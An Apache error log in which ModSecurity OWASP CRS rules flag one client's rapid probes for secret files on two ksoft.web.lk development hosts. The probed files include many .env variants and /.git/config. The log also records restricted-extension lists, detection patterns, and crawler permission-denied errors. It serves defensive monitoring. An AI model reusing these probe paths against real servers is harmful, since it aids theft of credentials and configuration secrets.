[Fri Jul 17 09:14:06.299248 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBrEKozcCJ-ReuK0F1AAAAAg"]
[Fri Jul 17 09:14:06.467904 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.docker"] [unique_id "almlBrEWOaI5pmYo9fnRtAAAAAA"]
[Fri Jul 17 09:14:06.468187 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.docker"] [unique_id "almlBrEWOaI5pmYo9fnRtAAAAAA"]
[Fri Jul 17 09:14:06.468529 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBrEWOaI5pmYo9fnRtAAAAAA"]
[Fri Jul 17 09:14:06.579127 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:06.636224 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.live"] [unique_id "almlBujME1mgqYZ5O94pRgAAAAE"]
[Fri Jul 17 09:14:06.636493 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.live"] [unique_id "almlBujME1mgqYZ5O94pRgAAAAE"]
[Fri Jul 17 09:14:06.636797 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBujME1mgqYZ5O94pRgAAAAE"]
[Fri Jul 17 09:14:06.678620 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/ttyS0/line
[Fri Jul 17 09:14:06.803468 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.preprod"] [unique_id "almlBl1_86A5R6msWNfXVQAAABI"]
[Fri Jul 17 09:14:06.803749 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.preprod"] [unique_id "almlBl1_86A5R6msWNfXVQAAABI"]
[Fri Jul 17 09:14:06.804012 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBl1_86A5R6msWNfXVQAAABI"]
[Fri Jul 17 09:14:06.984340 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.uat"] [unique_id "almlBhHlOGcokz2QIwTWRQAAAAM"]
[Fri Jul 17 09:14:06.984763 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.uat"] [unique_id "almlBhHlOGcokz2QIwTWRQAAAAM"]
[Fri Jul 17 09:14:06.985105 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBhHlOGcokz2QIwTWRQAAAAM"]
[Fri Jul 17 09:14:06.987833 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:07.159322 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.dist"] [unique_id "almlB_wooI4qY7Jg93pYgAAAABM"]
[Fri Jul 17 09:14:07.159702 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.dist"] [unique_id "almlB_wooI4qY7Jg93pYgAAAABM"]
[Fri Jul 17 09:14:07.160014 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlB_wooI4qY7Jg93pYgAAAABM"]
[Fri Jul 17 09:14:07.330795 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.swp"] [unique_id "almlB4l9vhFBGA6D8l99DAAAAAw"]
[Fri Jul 17 09:14:07.331086 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.swp"] [unique_id "almlB4l9vhFBGA6D8l99DAAAAAw"]
[Fri Jul 17 09:14:07.331420 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.swp"] [unique_id "almlB4l9vhFBGA6D8l99DAAAAAw"]
[Fri Jul 17 09:14:07.331765 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlB4l9vhFBGA6D8l99DAAAAAw"]
[Fri Jul 17 09:14:07.521395 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env~"] [unique_id "almlBxHlOGcokz2QIwTWRgAAAAM"]
[Fri Jul 17 09:14:07.521567 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env~"] [unique_id "almlBxHlOGcokz2QIwTWRgAAAAM"]
[Fri Jul 17 09:14:07.521835 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env~"] [unique_id "almlBxHlOGcokz2QIwTWRgAAAAM"]
[Fri Jul 17 09:14:07.522146 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBxHlOGcokz2QIwTWRgAAAAM"]
[Fri Jul 17 09:14:07.689973 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env1"] [unique_id "almlB5BVIrrUwtEhdafT9wAAAAU"]
[Fri Jul 17 09:14:07.690286 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env1"] [unique_id "almlB5BVIrrUwtEhdafT9wAAAAU"]
[Fri Jul 17 09:14:07.690592 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlB5BVIrrUwtEhdafT9wAAAAU"]
[Fri Jul 17 09:14:07.709254 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almlB_wooI4qY7Jg93pYgQAAABM"]
[Fri Jul 17 09:14:07.710538 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almlB_wooI4qY7Jg93pYgQAAABM"]
[Fri Jul 17 09:14:07.769927 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.109:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/node0/memory65/node0/memory16/subsystem/drivers_probe
[Fri Jul 17 09:14:07.874372 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env2"] [unique_id "almlB-jME1mgqYZ5O94pSAAAAAE"]
[Fri Jul 17 09:14:07.874741 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env2"] [unique_id "almlB-jME1mgqYZ5O94pSAAAAAE"]
[Fri Jul 17 09:14:07.875164 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlB-jME1mgqYZ5O94pSAAAAAE"]
[Fri Jul 17 09:14:07.986924 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlB_wooI4qY7Jg93pYgQAAABM"]
[Fri Jul 17 09:14:08.047397 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env_copy"] [unique_id "almlCBHlOGcokz2QIwTWRwAAAAM"]
[Fri Jul 17 09:14:08.047697 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env_copy"] [unique_id "almlCBHlOGcokz2QIwTWRwAAAAM"]
[Fri Jul 17 09:14:08.048076 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCBHlOGcokz2QIwTWRwAAAAM"]
[Fri Jul 17 09:14:08.214933 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.txt"] [unique_id "almlCCRF0UOO1RzB5_8xKwAAAA4"]
[Fri Jul 17 09:14:08.215200 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.txt"] [unique_id "almlCCRF0UOO1RzB5_8xKwAAAA4"]
